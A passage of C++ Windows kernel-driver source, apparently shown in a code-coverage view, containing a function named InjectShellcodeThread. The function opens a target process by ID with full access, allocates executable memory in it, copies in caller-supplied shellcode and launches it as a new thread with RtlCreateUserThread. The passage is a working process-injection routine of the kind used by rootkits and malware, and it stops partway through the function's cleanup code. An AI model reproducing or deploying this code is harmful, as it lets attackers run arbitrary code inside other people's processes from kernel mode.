| 376 | */ |
| 377 | _IRQL_requires_max_(APC_LEVEL) |
| 378 | NTSTATUS MemoryHandler::InjectShellcodeThread(_In_ IoctlShellcodeInfo& shellcodeInfo) const { |
| 379 | OBJECT_ATTRIBUTES objAttr{}; |
| 380 | CLIENT_ID cid = { 0 }; |
| 381 | HANDLE hProcess = NULL; |
| 382 | HANDLE hTargetThread = NULL; |
| 383 | PEPROCESS targetProcess = NULL; |
| 384 | PVOID remoteAddress = NULL; |
| 385 | SIZE_T shellcodeSize = shellcodeInfo.ShellcodeSize; |
| 386 | HANDLE pid = UlongToHandle(shellcodeInfo.Pid); |
| 387 | NTSTATUS status = PsLookupProcessByProcessId(pid, &targetProcess); |
| 388 | |
| 389 | if (!NT_SUCCESS(status)) |
| 390 | return status; |
| 391 | |
| 392 | InitializeObjectAttributes(&objAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL); |
| 393 | cid.UniqueProcess = pid; |
| 394 | cid.UniqueThread = NULL; |
| 395 | status = ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &cid); |
| 396 | |
| 397 | do { |
| 398 | if (!NT_SUCCESS(status)) |
| 399 | break; |
| 400 | status = ZwAllocateVirtualMemory(hProcess, &remoteAddress, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READ); |
| 401 | |
| 402 | if (!NT_SUCCESS(status)) |
| 403 | break; |
| 404 | shellcodeSize = shellcodeInfo.ShellcodeSize; |
| 405 | status = WriteProcessMemory(shellcodeInfo.Shellcode, targetProcess, remoteAddress, shellcodeSize, KernelMode); |
| 406 | |
| 407 | if (!NT_SUCCESS(status)) |
| 408 | break; |
| 409 | |
| 410 | // Making sure that for the creation the thread has access to kernel addresses and restoring the permissions right after. |
| 411 | status = RtlCreateUserThread( |
| 412 | hProcess, |
| 413 | NULL, |
| 414 | FALSE, |
| 415 | 0, |
| 416 | 0, |
| 417 | 0, |
| 418 | reinterpret_cast<PUSER_THREAD_START_ROUTINE>(remoteAddress), |
| 419 | remoteAddress, |
| 420 | &hTargetThread, |
| 421 | &cid |
| 422 | ); |
| 423 | |
| 424 | } while (false); |
| 425 | |
| 426 | if (hTargetThread) |
| 427 | ZwClose(hTargetThread); |
| 428 | |
| 429 | if (!NT_SUCCESS(status) && remoteAddress) |
| 430 | ZwFreeVirtualMemory(hProcess, &remoteAddress, &shellcodeSize, MEM_DECOMMIT); |
| 431 | |
| 432 | if (hProcess) |
| 433 | ZwClose(hProcess); |
| 434 | |
| 435 | if (targetProcess) |
no test coverage detected